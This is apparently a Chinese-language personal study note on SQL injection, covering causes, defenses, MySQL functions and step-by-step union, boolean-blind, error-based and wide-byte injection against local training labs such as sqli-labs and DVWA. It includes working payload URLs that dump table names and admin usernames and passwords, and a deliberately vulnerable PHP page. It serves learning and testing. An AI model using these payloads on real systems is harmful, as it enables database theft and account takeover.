(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、介绍
1.SQL注入漏洞的本质:后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则
2.注入的原因:前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入
3.SQL注入漏洞有两个关键条件:
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
4.危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等
5.分类:
- 请求方式:get post cookie
- 参数形式:整型 字符型 搜索
- 反馈类型:报错 union 布尔(时间或页面显示状态) 延时
- 数据库类型:access mssql mysql oracle nosql等等
- 利用技术:布尔 报错 内联 堆叠 时间 联合
6.防御:
- GPC/RUNTIME魔术引号(PHP扩展)
1 GPC(magic_quotes_gpc):对接受到用户浏览器的数据中的特殊字符进行过滤,转义;只负责对GET,POST,COOKIE的值进行过滤 2 RUNTIM(magic_quotes_runtime):对从数据库或者文件中获取的数据进行过滤
- 使用具有过滤功能的函数和类
1 函数: 2 addslashes函数 3 mysql[real]escape_string函数 4 intval等字符转换 5 编译语句来绑定变量(mysqli扩展与pdo扩展连接数据库操作)类:PDO
- 设计输入验证和处理策略:使用WAF
- 其他防护方案
1 领域驱动的安全性:通过将数据封装到有效值对象中,并限制对原始数据的访问 2 编码输出
二、常用的数据库函数以及常量
1 @@tmpdir 查看临时目录 2 @@datadir 数据存放的位置 3 @@basedir 数据库服务所在位置 4 @@version 查看版本号 5 @@hostname 查看当前用户名 6 ascii() 返回字符串str的最左字符的数值 7 user() 获取登陆用户名 8 version() 获取当前版本号 9 database() 获取当前数据库 10 concat() 将多个字符串连接成一个字符串 11 group_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果 12 concat_ws() 将多个字符串连接成一个字符串 13 sleep() 休眠 14 ord() 显示字符的ASCII 15 length() 计算字符串长度 16 17 截取字符串: 18 substr() oracle mysql mssql 19 substring() MySQL mssql 20 mid() mysql 21 注:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度 22 left(pa1,pa2) pa1是被截取的字符串,从左开始截取,pa2是截取的位数 23 right(pa1,pa2) pa1是被截取的字符串,从右开始截取,pa2是截取的位数 24 25 条件判断: 26 if(条件,条件为真时的返回值或语句,条件为假时的返回值或语句) 27 case when 条件 then 条件为真时的返回值或语句 else 条件为假时的返回值或语句 end 28 如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+ 29 30 联合查询 31 select * from users where id=1 union select “a”,”b”,”c”; 32 select * from users where id=0.01 union selcet 1,2,user(),4,@@databases;
三、MySQL数据库:一库一表三字段
1.一库:information_schema库 存放系统库,汇总(其他数据库的库名、表名、字段名)
2.一表:columns表 存放数据(库名、表名、字段名)
3.三字段:
- table_schema字段 存放其他数据库的库名
- table_name字段 存放其他数据库的表名
- column_name字段 存放其他数据库的字段名
1 select table_schema table_name column_name from information_schema.columns; 查询三字段所对应的数据
2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”; 有条件的查询
3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761; 将dvwa转为16进制
注:MySQL的版本号需要>5.0
四、手工注入
- 测试使用搭建的jdy1.5网站,也可使用DVWA里面的SQL Injection模块
1.检测注入点:即可能存在SQL注入的地方,找到有类似id(id/uid/key、typeid/sid等等)的参数,后面需要输入一些检测的恶意代码(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等
- 需不需要单引号,是由后端拼接的SQL语句决定的,如(%23是#的URL编码):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2 前端测试: id=1’ and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4 前端测试:id=1 and 1=1%23
- 输入的恶意代码被成功执行(根据页面显示效果以及报错信息等来判断),说明此处有SQL注入点
- 接下来还要判断注入的方式:根据页面的回显效果来决定使用哪种注入技术
- 判断从后台数据库中选择的列数以及哪几列在前端显示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
- 更换数字,根据页面显示效果判断后台数据库选择的列数,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
- 根据页面显示效果可知在2的位置显示到前端,即可将2替换为SQL语句
2.收集后台数据库信息:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23 查看当前用户
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23 查看当前数据库
3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4 distinct 去重
5 group_concat 分组并拼接
6 空格可以用+代替
3.获取当前数据库下的数据表:
http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23
4.获取当前数据库下指定表下的字段名:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
- 一般需要找后台或敏感的数据表,0x6a6479636d73是‘jdycms’的16进制转码
5.获取字段数据:
1 select concat(username,0x7e,password)from jdy_admin limit 0,1;
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23
6.解密:使用cmd5、pmd5等等
7.找后台登录:可以猜、目录扫描或信息收集等等
步骤总结:
1.检测注入点
2.收集后台数据库信息
3.获取当前数据库下的数据表
4.获取当前数据库下指定表下的字段名
5.获取字段数据
6.解密
7.找后台登录
五、盲注
盲注:用户提交的数据在后台数据库中执行之后,没有返回任何数据,无法在前端显示测试出的数据,需要使用盲注技术
类型:基于布尔的盲注、基于时间的盲注
六、盲注过程
-
可以使用DVWA中的SQL Injection (Blind)模块或者sqli-labs(学习SQL注入的一个闯关游戏)第8关
- (搭建sqli-labs可以参考https://www.cnblogs.com/carlos-mm/p/8388351.html很详细,感谢!!!)
1. 判断注入点
1 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23 2 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23
2.判断后台选择列数
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' order by 4%23
3.没有将结果显示到前端,即下一行代码没有作用,就需要使用盲注
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' union select 1,2,3%23
4.收集数据库信息
七、基于布尔的盲注
- 测试使用sqli-labs第8关
1.探测注入点,使用'或1' and 1=1%23或1' and '1'=1或1' and 1=1#等等
(注:用户提交的数据被带入到后台数据库中执行,根据页面显示效果判断此处是否存在注入点)
2.收集数据库信息(当前用户名、当前数据库、版本、所以数据库等等)
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and length(user())=14%23
3.使用BP快速收集,操作步骤如下图所示
-
首先爆破用户名、数据库以及版本的字段长度,使用函数length()
- 抓包
-
- 选择爆破的项
-
- 为第一个项设置字典
-
- 为第二个项设置字典
-
- 添加查找关键字
-
- 开始爆破
- 爆破用户名及当前数据库名,使用函数ascii()
- 网页浏览下面的地址,判断出用户名首字母是r,后续依次去判断
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(user(),1,1))=114%23
-
- 抓包
-
- 选择要爆破的项
-
- 分别为第一个项和第二个项设置Payloads options有效载荷选项
-
- 开始爆破,爆破结果对照ASCII码表进行查找,即可得出所有用户名
-
- 爆破当前所在数据库名,则要爆破的项
-
- 分别为第一个项和第二个项设置Payloads options有效载荷选项
-
- 根据爆破结果对照ASCII码表进行查找,得出当前数据库为security
4.查询当前数据库中的表
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23
- 先计算某个表名字的长度,然后再判断每个字符,最终找到有价值的表名:users
5.获取指定表中字段名
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),1,1))=105%23 //0x7573657273是users的16进制
- 字段名首字母是i,后续依次去判断第一个字段名、第二个字段名等等,最后找出敏感的字段:username、password
6.获取指定字段的数据
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select concat(username,0x7e,password)from users limit 0,1),1,1))=68%23 //0x7e是~的16进制
7.解密密文数据,登录后台
八、基于报错的注入
1.报错的含义:利用报错的函数构造测试的payload,数据库执行之后会报错,并将我们需要的数据带出来,达到攻击的目的
2.常用的报错函数:floor()、extractvalue()、updatexml()等等
3.floor();
- 报错本质:创建虚拟表格时,执行主键查询两次出错
-
必须和count()(计数)、rand()(产生0-1之间的随机小数,若给了参数(种子),就会根据该种子产生固定的值)、group by()(排序)等函数配合使用(能够达到相同目的的函数都可以替换去使用)
select concat(user(),floor(rand(0)*2));
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x;
- 错误1022(23000):无法写入;表“C:\\用户\\管理\\应用程序数据\\本地\\临时\\ sql6abc_14e_0”中存在重复键
- 解决方法:更换MySQL版本
- 别名:
select 1 from dvwa.users a;
4.extractvalue(参数1,参数2);
- 作用:操作XML文件,从目标XML文件中返回查询到的字符串
- 参数1是string格式的XML文档名,参数2是xpath格式的字符串(需要查询的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select extractvalue(1,concat((select user()),0x7e));
2.updatexml(参数1,参数2,参数3);
- 作用:更改XML文档中符合条件的节点的值
- 参数1 是XML文档,参数2是xpath格式的字符串,参数3是string格式的替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
select * from dvwa.users where user_id=1 limit 0,1;
select updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1),0x7e),1);
select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1)
注:后两者报错的长度有限制是32位
九、报错注入步骤
- 测试使用sqli-labs第五关
1.测试注入点
2.获取当前数据库信息
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e));%23+
3.获取当前数据库表名(下面的步骤只需替换代码中的红字部分即可)
4.获取指定表中的字段
5.获取内容
6.解密,登录系统
十、宽字节注入
1.原理:使用PHP连接MySQL的时候,当设置set character_set_client=gbk时会导致一个编码转换注入问题,也就是宽字节注入。当存在宽字节注入漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的"\"(即%5c)“吃掉”
- GBK编码:针对汉字的一种编码方式,使用2个字节编码1个汉字,用16位表示1个汉字
2.常用函数:
- mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果
- mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集
- mysql_real_escape_string();//对参数进行过滤转义,具有相似功能的函数还有:addslaches()、mysql_escape_string()(PHP5.3以及之后的版本被废除)、魔术引号(magic-quotes_gpc模块)等,针对特殊符号’ “ \ null < >等进行转义
十一、宽字节注入过程
- 测试使用自己搭建的gbksql站点
1 <?php 2 //连接数据库部分,注意使用了gbk编码 3 $conn = @mysql_connect('localhost', 'root', 'root') or die('bad!'); 4 mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果 5 //mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集 6 mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库"); 7 //执行sql语句 8 //$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1; 9 $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;//对参数进行过滤转义 10 $sql = "SELECT * FROM news WHERE tid='{$id}'"; 11 echo $sql."<br/>"; 12 $result = mysql_query($sql, $conn) or die(mysql_error()); 13 ?> 14 <!DOCTYPE html> 15 <html> 16 <head> 17 <title>新闻</title> 18 </head> 19 <body> 20 <?php 21 $row = mysql_fetch_array($result, MYSQL_ASSOC); 22 echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n"; 23 mysql_free_result($result); 24 ?> 25 </body> 26 </html>